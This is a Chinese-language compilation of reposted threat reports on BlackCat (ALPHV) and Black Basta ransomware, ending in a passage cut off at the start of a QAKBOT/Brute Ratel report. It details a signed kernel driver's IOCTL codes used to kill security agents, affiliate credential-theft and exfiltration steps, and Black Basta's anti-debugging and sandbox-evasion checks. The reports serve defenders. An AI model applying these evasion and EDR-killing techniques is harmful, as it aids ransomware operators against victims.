總結惡意軟件的開發者，特別是那些背後的BlackCat勒索軟件使用者，繼續更新和發展他們的技術和戰術，這一點在他們最近發布的“Munchkin”中得到了充分體現。

惡意工具利用虛擬機來阻止主機上存在的安全管理功能，並反檢測方面領先於安全防護。

HireHackking

我們將在本文中詳細介紹發生在2023年2月的BlackCat勒索軟件事件，研究人員在其中發現了一種新型逃避功能。

2022年12月下旬，Mandiant、Sophos和Sentinel One的研究人員發現惡意內核驅動程序是通過幾個微軟硬件開發人員帳戶(由微軟Windows硬件開發人員計劃認證)簽名的，微軟隨後撤銷了幾個在這些攻擊中被濫用的微軟硬件開發者賬戶。

我們將在本文中介紹有關2023年2月發生的BlackCat勒索軟件事件，該變體與三家安全商2022年12月下旬披露的惡意驅動程序重疊。眾所周知，BlackCat在逃避功能上使用了多種技術，比如使用禁用和修改工具或使用安全模式引導技術。

本文重點分析揭示了這種新功能，它涉及使用簽名內核驅動程序進行逃避。我們認為這個新的內核驅動程序是一個最新版本，繼承了以前研究中披露的示例的主要功能。該驅動程序與單獨的用戶客戶機可執行文件一起使用，試圖控制、暫停和終止部署在攻擊目標上的安全代理的各種進程。

攻擊者使用不同的方法對其惡意內核驅動程序進行簽名：通常是通過濫用Microsoft簽名門戶、使用洩露和被盜的證書或使用地下服務。在示例中，攻擊者試圖部署Mandiant披露的舊驅動程序，該驅動程序通過Microsoft簽名(SHA256: b2f955b3e6107f831ebe67997f8586d4fe9f3e98)。由於該驅動程序之前已經被發現並檢測到，攻擊者部署了另一個由被盜或洩露的交叉簽名證書籤名的內核驅動程序。

惡意簽名的內核驅動程序我們觀察到的2023年2月的勒索軟件事件證明，勒索軟件運營商及其附屬機構對獲得他們在攻擊中使用的勒索軟件有效負載的特權級訪問非常感興趣。他們通常使用包含低權限組件的勒索軟件家族，以避免在最終有效負載被釋放後被安全產品檢測到。跟踪分析發現，大多數與內核相關的有效負載通常是在企圖逃避階段被發現的。

1.png

內核級攻擊的分佈

2.png

大多數與內核相關的有效負載都是在企圖逃避階段被發現的

一些勒索軟件攻擊試圖遵守微軟的代碼簽名要求。這使得惡意攻擊者可以靈活地在釋放實際負載之前編譯為特定任務(通常涉及削弱防禦和逃避)設計的內核模塊。攻擊者可以採取以下方法：

1. 使用代碼簽名證書，該證書要么是洩露的，要么是竊取的，要么是從黑市購買的。

2. 通過模仿合法機構並按照微軟的流程獲取交叉簽名證書(前提是微軟允許對內核模式代碼進行交叉簽名)，濫用微軟的門戶來發布簽名的內核模塊，獲得新的有效代碼簽名證書，以及從黑市購買與真實身份相關的有效代碼簽名證書和/或擴展驗證（EV）證書。

3.png

顯示攻擊者如何遵守微軟代碼簽名要求的圖表

對簽名驅動程序的分析接下來，我們將研究二月BlackCat攻擊中使用的簽名驅動程序（ktgn.sys）。下圖顯示了這些新簽署的驅動程序的其他示例，以及它們是如何被用作BlackCat逃避程序的。

4.png

BlackCa在逃避階段釋放的文件

通過虛擬機保護的用戶代理tjr.exe將內核驅動程序釋放到用戶臨時目錄C:\%User%\AppData\Local\Temp\Ktgn.sys。然後安裝被釋放的驅動程序，名稱為Ktgn，啟動值為System（在系統重新啟動時啟動）。通過我們對用戶與該驅動程序交互時發生的情況的分析，我們觀察到它只使用了一個公開的設備輸入和輸出控制（IOCTL）代碼——Kill Process，該代碼用於阻止安裝在系統上的安全代理進程。

與此同時，驅動程序ktgn.sys使用當前吊銷的有效數字簽名從“BopSoft”(它也曾被其他攻擊者用於代碼簽名)簽名，可以成功加載到執行簽名策略的64位Windows安裝中，該驅動程序使用Safengine Protector v2.4.0.0工具進行混淆，這使得靜態分析技術不可靠。通過加載被混淆的驅動程序並嘗試構建一個用戶模式客戶端來觀察暴露的IOCTL接口，我們可以確定每個IOCTL代碼的函數。最後，我們觀察到相同的內核驅動程序被不同的代碼簽名證書籤名。

5.png

具有不同簽名者的驅動程序變體

6.png

用於混淆二進製文件的封裝程序

由於它沒有註冊卸載回調函數，因此只有在釋放或修改服務註冊表項後重新啟動系統時，才能卸載驅動程序。

7.png

服務控制管理器無法停止該服務

8.png

缺少卸載函數的驅動程序

一個名為\\.\keHeperDriverLink的符號鏈接被創建，該符號允許用戶模式客戶端與其連接和通信。請注意，該鏈接只允許一個連接，如果多個客戶端試圖同時連接，系統將崩潰。

8.png

正在檢查另一個用戶模式進程是否正在嘗試連接到驅動程序

9.png

暴露的IOCTL接口

這個客戶機支持10個不同的命令，每個命令實現一個特定的功能，該功能由內核驅動程序通過適當的IOCTL接口執行。驅動程序和用戶模式客戶端之間的通信使用irp_mj_devicide_control處理程序通過以下代碼發生，每個IOCTL代碼及其對應的功能：

222088h：激活驅動程序

22208ch：取消激活驅動程序

222094h：終止進程

222184h：刪除文件

222188h：強制刪除文件

22218ch：複製文件

222190h：強制複製文件

2221c8h：註冊進程/線程對象通知

2221c4h：註銷進程/線程對象通知

222264h：重啟系統

根據我們對內核驅動程序的分析，它似乎仍在開發和測試中，因為它的結構不是很好，而且它的一些功能目前還不能使用。接下來將介紹各種IOCTL接口的詳細信息。

IOCTL 222088h在執行任何其他操作之前，必須首先調用IOCTL 222088h來激活驅動程序。如果未調用此代碼，驅動程序將不接受任何操作，並將返回消息STATUS_ACCESS_DENIED。用戶模式客戶端將此激活字節數組發送給驅動程序。

激活是對位於驅動程序中的大小為0x42的硬編碼字節數組進行簡單的字節比較。如果比較通過，它將設置一個BOOLEAN標誌，該標誌將在任何操作之前進行檢查。

11.png

運行內存中的激活字節數

12.png

複製激活字節以測試驅動程序操作

IOCTL 22208 chIOCTL 22208Ch在用戶模式客戶端完成取消之前在IOCTL代碼222088h中設置的標誌的操作後被調用。這將使驅動程序失效並停止處理任何新的操作。

客戶端將需要傳遞IOCTL代碼222088h中傳遞的相同字節數組，以便成功完成操作。

IOCTL 222094 hIOCTL 222094h用於阻止任何用戶模式進程（甚至是受保護的進程）。 Tt從用戶代理接收進程ID，然後在目標進程上下文中創建內核線程。創建的內核線程調用ZwTerminateProcess API來終止目標進程。

13.png

檢查驅動程序是否激活

14.png

IOCTL 222094h終止進程

IOCTL 222184 hIOCTL 222184h用於刪除特定的文件路徑。

15.png

IOCTL 222184h刪除文件路徑

IOCTL 222188 hIOCTL 222188h強制刪除文件。為此，內核驅動程序執行以下操作：

1.它嘗試使用暴力方法打開系統上的所有進程（從PID=0x4到PID=0x27FFD）；

2.當它成功地打開一個進程時，它會嘗試引用進程內的所有句柄，再次使用暴力方法（從HANDLE=0x4開始到HANDLE=0x27FFD）；

3.當它成功引用句柄時，它使用ObQueryNameString API將句柄映射到名稱。當找到匹配項時，內核驅動程序關閉句柄。

此操作將確保關閉對該文件的所有引用，並且該操作可以成功完成，而不會出現任何錯誤，說明該文件正被其他應用程序使用。

16.png

暴力破解PID

17.png

暴力破解句柄

IOCTL 22218 chIOCTL 22218Ch用於復製文件。

18.png

IOCTL 22218Ch用於復製文件

IOCTL 222190 hIOCTL 222190h用於強制複製文件。驅動程序使用與強制刪除相同的操作（IOCTL代碼：222188h）。它使用暴力方法關閉所有進程對文件的所有引用，然後復製文件。

IOCTL 2221C4h和IOCTL 2221C8h

IOCTL 2221C4h和2221C8h都用於註冊和註銷進程/線程通知回調。然而，在撰寫本文時，這兩條路徑都是無法實現的，這表明它們仍處於開發或測試階段。

19.png

註冊對象通知的偽代碼

20.png

註銷對象通知的偽代碼

21.png

對象通知函數的偽代碼

IOCTL 222264 hIOCTL 222264h通過調用HalReturnToFirmware API重啟系統。

總結攻擊者通過終端保護平台(EPP)和終端檢測與響應(EDR)技術，正在積極尋求對Windows操作系統的高權限訪問的惡意攻擊，繞過各類防護措施。由於這些添加的保護層，攻擊者傾向於選擇阻力最小的方法，通過內核層（甚至更低級別）運行惡意代碼。所以我們認為，這種威脅會一直存在。

惡意攻擊者將繼續使用rootkit對安全工具隱藏惡意代碼，繞過防禦，並在很長一段時間內不會被檢測到。這些rootkit將被惡意組織大量使用，他們既擁有逆向工程低級系統組件的技能，又擁有開發此類工具所需的資源。這些惡意攻擊者還擁有足夠的財力，可以從黑市購買rootkit或購買代碼簽名證書來構建rootkit。這意味著涉及這類rootkit的主要危險在於它們能夠隱藏複雜的有針對性的攻擊，這些攻擊將在攻擊的早期使用，允許攻擊者在受害者環境中啟動實際有效負載之前就逃脫檢測。

緩解措施代碼簽名證書通常會被攻擊者濫用，因為它們在攻擊中提供了額外的混淆層。對於組織來說，洩露的密鑰不僅會帶來安全風險，還會導致對原始簽名軟件的聲譽和信任的喪失。企業應該通過實現最佳實踐來保護他們的證書，例如減少對私鑰的訪問，從而降低對證書進行未經授權訪問的風險。為私鑰使用強密碼和其他身份驗證方法還可以幫助保護它們免受惡意攻擊者的竊取或破壞。此外，使用單獨的測試簽名證書(用於測試環境中使用的預發布代碼)可以最大限度地減少實際發布簽名證書在攻擊中被濫用的可能性。

對於一般的勒索軟件攻擊，組織可以實現一個系統的安全框架，分配資源來建立一個強大的防禦策略。建議如下：

盤點資產和數據；

識別授權和未經授權的設備和軟件；

審計事件和事件日誌；

管理硬件和軟件配置；

僅在必要時授予管理員權限和訪問權限；

監控網口、協議和服務；

為合法應用程序建立軟件許可列表；

實施數據保護、備份和恢復措施；

啟用多因素身份驗證(MFA)；

在系統各層部署最新版本的安全解決方案；

注意攻擊的早期跡象；

保護潛在的入口點(如終端、電子郵件、web和網絡)，組織可以檢測並防範惡意元素和可疑活動，從而保護自己免受勒索軟件攻擊。

HireHackking

BlackCat 勒索軟件，也稱為ALPHV，是一種普遍的威脅，也是日益增長的勒索軟件即服務(RaaS) 經濟的典型代表。值得注意的是，它的非傳統編程語言(Rust)、多個目標設備和可能的入口點，以及與大量威脅活動組的關聯。雖然BlackCat 的到達和執行因部署它的攻擊者而異，但結果是相同的。即目標數據被加密，並洩露未繳納贖金用戶的隱私，及“雙重勒索”。

BlackCat 於2021 年11 月首次被發現，最初成為頭條新聞，因為它是最早用Rust 編程語言編寫的勒索軟件家族。通過使用現代語言作為其有效負載，該勒索軟件試圖逃避檢測，尤其是傳統的安全解決方案。 BlackCat 還可以針對多個設備和操作系統發起攻擊。 Microsoft 已觀察到針對Windows 和Linux 設備以及VMWare 實例的成功攻擊。

如上所述，RaaS附屬模型由多個攻擊者組成：訪問代理，他們攻擊網絡並維護持久性，開發工具的RaaS操作員，以及RaaS附屬機構，這些機構在最終發布勒索病毒之前，會進行其他活動，比如在網絡上橫向移動和竊取數據。因此，作為一個RaaS有效負載，BlackCat進入目標組織網絡的方式是不同的，這取決於部署它的RaaS附屬機構。例如，雖然這些攻擊者的常見入口向量包括遠程桌面應用程序和被攻擊的憑據，但我們也看到了一個攻擊者利用Exchange服務器漏洞來獲得目標網絡訪問。此外，至少有兩個已知的附屬公司正在採用BlackCat：DEV-0237（以前部署Ryuk、Conti 和Hive）和DEV-0504（以前部署Ryuk、REvil、BlackMatter 和Conti）。

這種變化和採用顯著增加了組織遇到BlackCat 的風險，並在檢測和防禦它方面帶來挑戰，因為這些攻擊者和組織有不同的策略、技術和程序(TTP)。因此，沒有兩個BlackCat 的部署看起來相同。

人為操作的勒索軟件攻擊（例如部署BlackCat 的那些攻擊）繼續發展，並且仍然是攻擊者通過攻擊獲利的首選方法之一。組織應考慮使用Microsoft 365 Defender 等綜合解決方案補充其安全最佳實踐和策略，該解決方案提供與各種威脅信號相關聯的保護功能，以檢測和阻止此類攻擊及其後續活動。

1.png

BlackCat 有效負載部署選項

2.png

BlackCat有效負載可以運行的命令列表

用戶帳戶控制(UAC) 繞過BlackCat 可以繞過UAC，這意味著即使負載從非管理員上下文中運行，它也會成功運行。如果勒索軟件沒有以管理權限運行，它會在dllhost.exe 下運行一個輔助進程，該進程具有加密系統上最大數量的文件所需的足夠權限。

域和設備枚舉勒索軟件可以確定給定係統的計算機名稱、設備上的本地驅動器以及設備上的AD 域名和用戶名。該惡意軟件還可以識別用戶是否具有域管理員權限，從而提高其勒索更多設備的能力。

自我傳播BlackCat 發現所有連接到網絡的服務器。該過程首先廣播NetBIOS 名稱服務(NBNC) 消息來檢查這些附加設備。然後，勒索軟件嘗試使用配置中指定的憑據通過PsExec 在應答服務器上複製自身。

阻礙恢復的辦法BlackCat 有許多阻礙恢復的辦法。以下是有效負載可能啟動的命令及其用途：

修改引導加載程序

3.png

刪除卷影副本

4.png

清除Windows 事件日誌

5.png

識別可能導致BlackCat 勒索軟件的攻擊與RaaS 模型一致，攻擊者利用BlackCat 作為其正在進行的活動的額外負載。雖然它們的TTP 基本保持不變（例如，使用Mimikatz 和PsExec 等工具部署勒索軟件有效負載），但與BlackCat 相關的攻擊具有不同的入口向量，具體取決於進行攻擊的勒索軟件附屬機構。因此，這些攻擊的勒索步驟也可能明顯不同。

例如，部署BlackCat 的一家附屬機構利用未打補丁的Exchange 服務器或使用被盜憑據訪問目標網絡。

案例研究1：通過未打補丁的Exchange進入在此案例中，攻擊者利用未打補丁的Exchange服務器進入目標組織。

6.png

通過Exchange漏洞利用觀察到BlackCat勒索軟件攻擊鏈

在利用Exchange漏洞時，攻擊者啟動了以下發現命令，以收集有關他們攻擊的設備信息：

Cmd.exe，ver，systeminfo ——用於收集操作系統信息；

net.exe——確定環境中的域計算機、域控制器和域管理員；

執行這些命令後，攻擊者瀏覽目錄並發現了一個密碼文件夾，該文件夾授予他們訪問帳戶憑據的權限，他們可以在攻擊的後續階段使用。他們還使用del 命令刪除與他們最初的洩露活動相關的文件。

然後，攻擊者利用網絡使用和竊取的憑證來安裝一個網絡共享，並開始使用多種方法的組合來尋找潛在的橫向移動目標。首先，他們使用之前收集的設備名稱作為節點的WMIC.exe，啟動命令whoami /all，並ping google.com以檢查網絡連接。然後，結果的輸出被寫入掛載的共享上的.log文件。其次，攻擊者使用PowerShell.exe和cmdlet Get-ADComputer以及一個過濾器來收集最後一次登錄事件。

擴大攻擊面兩天半後，攻擊者通過交互式登錄使用洩露的憑據登錄了他們在初始發現工作中發現的目標設備。他們選擇了一種憑據盜竊技術，該技術不需要刪除防病毒產品可能檢測到的Mimikatz 之類的文件。相反，他們打開了Taskmgr.exe，創建了LSASS.exe 進程的轉儲文件，並將文件保存到ZIP 壓縮文件中。

攻擊者使用ADRecon (ADRecon.ps1) 的PowerShell 腳本版本繼續他們之前的發現工作，該工具旨在收集有關Active Directory (AD) 環境的大量信息。攻擊者使用網絡掃描工具跟進此操作，該工具在服務器消息塊(SMB) 和遠程桌面協議(RDP) 上打開與組織中設備的連接。對於發現的設備，攻擊者試圖導航到各種網絡共享，並使用遠程桌面客戶端(mstsc.exe) 登錄這些設備，再次使用洩露的帳戶憑據。

這些行為持續了好幾天，攻擊者登錄整個組織的眾多設備，轉儲憑據，並確定他們可以訪問哪些設備。

竊取並公開信息在攻擊者登錄的許多設備上，他們試圖從該組織收集和竊取大量數據，包括域設置、信息和知識產權。為此，攻擊者使用了MEGAsync和Rclone，它們被重命名為合法的Windows進程名稱(例如，winlogon.exe, mstsc.exe)。

提取區域信息以識別橫向運動目標收集域信息允許攻擊者進一步進行攻擊，因為所述信息可以識別橫向移動的潛在目標，或幫助攻擊者發現勒索病毒有效負載的目標。為此，攻擊者再次使用帶有大量PowerShell cmdlet 的ADRecon.ps1，例如：

Get-ADRGPO——獲取域中的組策略對象(GPO)；

Get-ADRDNSZone——獲取域中的所有DNS 區域和記錄；

Get-ADRGPLink——獲取應用於域中管理範圍的所有組策略鏈接；

此外，攻擊者釋放並使用ADFind.exe命令來收集個人、計算機、組織單位和信任信息，並ping通數十個設備來檢查連接。

雙重勒索為了雙重勒索，攻擊者以SQL數據庫為目標，收集數據。他們還瀏覽了他們可以訪問的每個設備的目錄和項目文件夾，然後竊取了他們在這些設備中找到的數據。

贖金要求攻擊者從最初的攻擊到部署勒索軟件足足花了兩週時間，因此，有必要對警報活動進行分類和檢查，以了解攻擊者從他們的活動中獲得的賬戶和訪問範圍。使用PsExec.exe傳播勒索軟件負載被證明是最常見的攻擊方法。

7.png

成功感染後，BlackCat顯示的贖金提示

案例研究2：通過盜竊的憑證發起攻擊在這個案例中，研究人員發現了一個勒索軟件附屬公司通過一個面向互聯網的遠程桌面服務器使用被攻擊的憑據登錄獲得了對環境的初始訪問權。

8.png

通過被盜憑證觀察到BlackCat勒索軟件攻擊鏈

擴大攻擊面一旦攻擊者獲得對目標環境的訪問權，他們就使用SMB複製並啟動Total Deployment Software管理工具，從而允許遠程自動化軟件部署。安裝此工具後，攻擊者使用它安裝遠程桌面軟件應用程序ScreenConnect（現稱為ConnectWise）。

竊取憑據ScreenConnect用於在設備上建立遠程會話，允許攻擊者進行交互控制。在他們的控制下，攻擊者使用cmd.exe來更新註冊表，以允許通過WDigest進行明文認證，從而節省了攻擊者不需要破解密碼哈希值的時間。不久之後，他們使用任務管理器轉儲lasss .exe進程來竊取密碼，現在是明文形式。

八小時後，攻擊者重新連接到設備並再次竊取憑據。然而，這一次，他們放棄並啟動了Mimikatz 用於憑證盜竊例程，可能是因為它可以獲取存儲在LSASS.exe 之外的憑證。攻擊者隨後退出。

持久性和加密之後，攻擊者使用他們新創建的用戶帳戶登錄，並開始釋放和啟動勒索軟件有效載荷。此帳戶還將作為ScreenConnect 及其在環境中的其他立足點之外的額外持久性手段，以允許他們在需要時重新建立自己的存在。如果訪問權限未完全修復，勒索軟件攻擊者不會兩次勒索同一組織。

Chrome.exe 用於導航到託管BlackCat 有效負載的域。值得注意的是，文件夾結構包括組織名稱，表明這是專門為組織預先準備的有效負載。最後，攻擊者在設備上啟動了BlackCat 有效載荷來加密其數據。

勒索軟件附屬機構部署BlackCat除了前面討論的事件外，我們還觀察到與勒索軟件部署相關的兩個最多產的附屬組織已轉向部署BlackCat。負載切換是一些RaaS附屬公司的典型做法，以確保業務連續性或有更好的利潤可能性。不幸的是，對於組織而言，這種採用進一步增加了檢測相關威脅的挑戰。

Microsoft 將這些附屬組織命名為DEV-0237。 DEV-0237 也稱為FIN12，該組織以傳播Hive、Conti 和Ryuk 勒索軟件而聞名。研究人員觀察到，該組織從2022年3月開始將BlackCat加入了他們的分佈式有效負載清單。他們從上次使用的有效負載(Hive) 切換到BlackCat 被懷疑是由於圍繞後者解密方法的公開討論。

DEV-0504是另一個活躍的附屬組織，我們看到他們轉向BlackCat進行勒索軟件攻擊。像許多RaaS附屬組一樣，在DEV-0504攻擊中可能會觀察到以下TTP：

可能涉及附屬機構遠程登錄到憑據被攻擊的設備的入口向量，例如登錄到運行允許遠程工作的軟件解決方案的設備；

攻擊者利用他們的訪問權限對域進行發現；

可能使用初始被盜帳戶的橫向移動；

使用Mimikatz 和Rubeus 等工具竊取憑據；

DEV-0504 通常會使用StealBit 等惡意工具從組織中竊取他們入侵的設備上的數據——通常稱為“send.exe”或“sender.exe”。然後使用PsExec 傳播勒索軟件有效負載。觀察到該組織在2021 年12 月開始採用BlackCat 之前交付了以下贖金：

BlackMatter；

Conti；

LockBit 2.0；

Revil；

Ryuk；

BlackCat勒索軟件的緩解措施BlackCat勒索軟件攻擊已經變得越來越流行，因為它們通過RaaS附屬模型不斷增長的工業化和雙重勒索的增加趨勢。我們所觀察到的與“BlackCat”勒索軟件相關的事件利用了這兩個因素，使得這種威脅對傳統的安全和防禦方法來說是持久的，這些方法只專注於檢測勒索軟件的有效負載。因此，組織必須改變他們的防禦策略，以防止端到端攻擊鏈。如上所述，雖然攻擊者的入口點可能不同，但他們的TTP 基本保持不變。此外，這些類型的攻擊繼續利用組織糟糕的錯誤配置來發起攻擊。

截至目前，在觀察到的與BlackCat相關的事件中，勒索軟件附屬機構的常見入口是通過被洩露的憑證來訪問面向互聯網的遠程訪問軟件和未打補丁的Exchange服務器。因此，維護人員應該檢查其組織的身份，仔細監視外部訪問，並在其環境中找到易受攻擊的Exchange服務器，以便盡快進行更新。

HireHackking

微信截图_20221024152448.png

根據Check Point在2022年上半年的報告，每40個組織中就有1個受到勒索軟件攻擊的影響，這比去年增加了59%。勒索軟件之所以如此猖狂，原因就是獲利巨大。隨著雙重勒索的增加，勒索軟件攻擊變得更加吸引人：即使受害者拒絕支付，被盜的私人數據可能會在黑市上以相當大的價格出售。

自2022年5月以來，累計有89多起知名組織被Black Basta組織攻擊。數據顯示，該組織的攻擊目標明顯位於美國和德國，49%的受害者是美國用戶。在某些情況下，贖金甚至超過100萬美元。

1.png

接下來，我將介紹Black Basta活動的技術細節，以及各種規避和反分析技術。

技術細節在攻擊開始之前，幕後組織必須將勒索軟件傳播到受害者的設備。憑藉先進的傳播技術，滴管有不同的方式將其有效載荷下載到選定的受害者設備，不過也可能會出現不同滴管模塊的組合使用（比如QakBot和Cobalt Strike有效載荷的組合），最終導致勒索軟件的執行。

2.png

Black Basta向受害者的設備發送勒索軟件的可能方式

我們觀察到，滴管可以比技術上簡單的勒索軟件有效載荷複雜得多。我們將在下面介紹Black Basta勒索軟件的最終傳播階段。

傳播階段Black Basta滴管模仿了創建此網站上託管的USB可引導驅動器的應用程序：

3.png

Black Basta滴管的圖標和介紹

應用程序使用與Rufus網站上合法可執行文件相同的證書（由“Akeo Consulting”頒發）進行數字簽名：

4.png

Black Basta滴管和證書頒發者的數字簽名

有關如何使用經過驗證的數字簽名創建惡意應用程序的更多信息，請參閱Check Point研究團隊的文章。

規避和反分析技術在Black Basta滴管中實現了很多反調試技巧，下面按類別列出。

5.png

Black Basta滴管中的反調試和規避技術如果這些技術中的任何一種成功地檢測到調試器或仿真環境，則滴管將停止執行並退出，而不啟動Black Basta。

系統標誌這組反調試技術依賴於進程內結構來檢查狀態：是否正在調試。

PEB: is debugger present；

PEB: being debugged；

PEB: NtGlobalFlag；

CheckRemoteDebugger；

Check kernel debugger；

CPU寄存器下面分組的技術使用CPU寄存器檢查進程是否正在調試。

設置陷阱標誌；

檢查陷阱標誌，同上。標誌未設置，只是選中；

檢查HW斷點（鏈接中的方法1）；

CPU指令這些技術通過直接調用或包裝器使用CPU指令來檢查進程是否正在調試。

DebugBreak；

INT 2D；

INT3；

定時檢查這些技術執行定時檢查，以查看經過調試的進程與沒有調試器運行的進程之間的差異。

RDTSC；

QueryPerformanceCounter；

GetTickCount；

庫檢查這種技術依賴於這樣一個假設，即在通常的系統中有一些通用的系統庫可以毫無問題地加載，還有一些不常見的庫不應該真正出現在典型的系統中。然而，在沙盒環境中，當試圖加載一個不常見的庫時，在這種情況下可能返回預定義的代碼，而不是在非模擬設備中返回的代碼。返回代碼的差異可以用來檢測沙盒。

必須加載的庫kernel32.dll；

networkexplorer.dll；

NlsData0000.dll；

不能加載的庫NetProjW.dll；

Ghofr.dll；

fg122.dll；

Windows API檢查下面的一組技術使用Windows API函數來檢測進程是否正在調試。

VirtualAlloc與GetWriteWatch結合使用；

具有錯誤介紹符的CloseHandle；

OutputDebugString檢查最後的系統錯誤；

被污染的日誌這種技術並不是真正的反調試器，但會使日誌分析更加困難。重點是隨機調用kernel32.beep函數。你可以在這個沙盒分析中看到更多內容。

由於編碼錯誤導致檢查失敗

這些檢查應該使用仿真環境或已調試進程的細節，但由於編碼錯誤而無法正常工作。

FindWindow（類名：▬unAwtFrame）——名稱中的第一個符號是錯誤的，應該是SunAwtFrame；

NtQueryInformationProcess, check DebugPort——由於dll名稱錯誤而無法工作；

模糊轉儲成功躲避檢測後，Black Basta滴管又進行了模糊轉儲。 Black Basta有效載荷不是簡單地解壓縮並在內存中執行的，存在位於勒索軟件的PE標頭之前的數據是為了防止自動掃描器容易識別惡意有效載荷。

6.png

位於PE標頭之前的數據，以防止自動內存分析

正如預期的那樣，WinDbg中的imgscan命令無法顯示dropper進程內存中的Black Basta PE模塊。

7.png

WinDbg內存掃描中缺少Black Basta模塊

在完成所有這些步驟之後，實際的Black Basta有效載荷被執行。

Black Basta有效載荷在勒索軟件開始執行時創建互斥鎖，以確保只有一個惡意軟件副本處於活動狀態：

8.png

在Black Basta中創建互斥鎖

在我們介紹的示例中，互斥鎖的名稱是“dsajdhas.0”。

然後，惡意軟件設置壁紙，並為擴展名為“.basta”的文件指定一個自定義圖標。

9.png

Black Basta釋放的圖像

這些圖像來自Black Basta解壓縮它們的TEMP目錄。

該勒索軟件還試圖刪除任何卷影副本，如下圖所示：

10.webp.jpg

刪除卷影副本所執行的命令

加密創建多個線程來進行多線程加密過程：

11.webp.jpg

創建用於執行加密的線程

惡意軟件會加密驅動器上找到的所有文件，路徑中包含以下字符串的文件除外：

$Recycle.Bin

Windows

DocumentsandSettings

LocalSettings

ApplicationData

txt

Boot

txt

jpg

DAT

ico

ChaCha20流密碼（其比AES更快）用於加密，每個加密文件隨機生成密鑰。然後將該密鑰傳遞給帶有硬編碼公鑰的RSA加密，以檢索512字節的加密ChaCha20密鑰。此密鑰附加到加密文件的末尾：

12.webp.jpg

文件末尾的加密密鑰開始（左側）；原始文件（右側）

在塊的末尾，還有加密密鑰的長度（0x200）：

13.png

加密文件末尾的密鑰長度

請注意，並不是整個文件都被加密。惡意軟件針對每個64字節的第三個塊：

14.png

由Black Basta加密的塊（左側）；原始文件（右側）

要處理文件，通常使用kernel32函數CreateFile；

ReadFile；

WriteFile；

MoveFile (重命名加密文件)；

作為附帶說明，我們需要提到使用了RSA的mini GMP實現。

加密完成後，勒索軟件會在桌面上的“readme.txt”文件中釋放一條勒索說明。公司ID被硬編碼在勒索信中，這是有針對性和有準備的攻擊的標誌：

15.png

在示例中硬編碼的公司ID

在不知道RSA私鑰的情況下，沒有明顯的方法來解密文件。

自動分配Black Basta具有內置的網絡自動傳播功能，這是為了預防滴管的功能不足以完成任務。勒索軟件嘗試在LDAP API的幫助下連接到AD，並使用過濾器字符串（samAccountType=805306369）遍歷連接的工作站：

16.png

通過連接的工作站啟動搜索的函數

獲得工作站列表後，勒索軟件嘗試通過路徑\\c$\\Windows\\tmp.exe將自己複製到遠程計算機。然後，在COM對象objectIWbemClassObject (CLSID: 4590f812 - 1d3b - 11d0 - 891f - 00aa004b2e24)和IWbemServices-Win32_Process的幫助下，通過Create方法啟動前一階段複製的可執行文件。

總結勒索軟件攻擊是受害者可能面臨的最嚴重威脅之一。當代勒索軟件攻擊有大量成功勒索的記錄，並且可以在網絡內橫向移動，因此在使用雙重勒索方案時，可以獲得越來越多有保證的回報。

新出現的Black Basta就是一個非常成功的勒索軟件組織，它採取了各種預防措施，並執行了實際的數據加密，例如應用的反調試和逃避技術。

如上所述，勒索軟件本身的設計不僅能夠在最短的時間內造成最大的傷害，而且傳播階段也非常隱蔽、複雜和有效。 Black Basta會確保在安全的環境中運行，並且有機會執行加密。

為了降低遭受類似攻擊的可能性，組織應採取以下做法：

1.教育員工如何在網絡安全領域保持安全；

2.不要打開來自陌生髮件人的件；

3.更新並提高網絡基礎設施的安全性。

4.定期備份敏感數據並將其存儲在其他外部驅動器上。

5.保持系統保更新到最新版本。

HireHackking

趨勢科技的研究人員最近分析了一個與QAKBOT相關的示例，該示例導致了Brute Ratel C4和Cobalt Strike有效負載，這可以歸因於Black Basta 勒索軟件組織。

QAKBOT的惡意軟件在短暫中斷後於2022年9月8日恢復傳播，當時研究人員在這一天發現了幾個傳播機制。觀察到的傳播方法包括SmokeLoader(使用' snow0x '傳播器ID)， Emotet(使用' azd '傳播器ID)，以及使用' BB '和' Obama20x ' ID的惡意垃圾郵件。

最近一個涉及QAKBOT ‘BB’傳播器的示例導致部署了Brute Ratel(被趨勢科技檢測為Backdoor.Win64.BRUTEL)，這是一個類似於Cobalt Strike的框架，作為第二階段有效負載。這是一個值得注意的進展，因為這是我們第一次通過QAKBOT感染觀察到Brute Ratel作為第二階段有效負載。這次攻擊還包括使用Cobalt Strike進行橫向移動。研究人員認為這些活動是Black Basta 勒索軟件組織所為。

攻擊的時間表1.png

Brute Ratel和其他CC框架的興起

與CobaltStrike一樣,BruteRatel是一種攻擊模擬工具，是商業CC框架領域的相對新的工具，它在該領域與更成熟的競爭者如Cobalt Strike競爭。

像Brute Ratel和Cobalt Strike這樣的攻擊模擬框架經常會被滲透測試專業人員使用，用於合法的滲透測試活動，在這些活動中組織尋求提高他們檢測和響應真實網絡攻擊的能力。這些框架用於從遠程位置提供實際的鍵盤訪問，以模擬攻擊者在網絡攻擊中使用的戰術、技術和過程(TTP)。

除了Cobalt Strike的合法使用示例外，它還因非法使用而臭名昭著，在過去幾年裡，它幾乎經常出現在勒索軟件攻擊中。它用作殭屍網絡的常見第二階段有效載荷，例如QAKBOT (TrojanSpy.Win64.QAKBOT)，IcedID (TrojanSpy.Win64.ICEDID)，Emotet (TrojanSpy.Win64.EMOTET) 和Bumblebee(Trojan.Win64.BUMBLELOADER) 等。不幸的是，在過去的幾年中，Cobalt Strike的幾個版本已被洩露，從而加速了攻擊者的惡意使用。

與Brute Ratel相比，由於其受歡迎程度高，其檢測覆蓋率比後者更大。這使得Brute Ratel和其他不太成熟的CC框架對惡意攻擊者來說越來越有吸引力，他們的活動可能在很長一段時間內都不會被發現。

Brute Ratel最近在黑市非常受歡迎，該框架的版本在地下組織中交易非常活躍，並發布了破解版本。 Brute Ratel的開發人員在最近的Twitter帖子中承認了這一漏洞。

2.png

QAKBOT 'BB' 到Brute Ratel

3.png

攻擊活動概況

該活動通過垃圾郵件開始，其中包含發送給潛在受害者的惡意新URL。 URL登錄頁面向收件人顯示ZIP文件的密碼。

4.png

已下載ZIP文件以及文件密碼的通知

繞過沙盒和安全檢測在此階段使用受密碼保護的ZIP文件可能是為了逃避安全解決方案的分析。

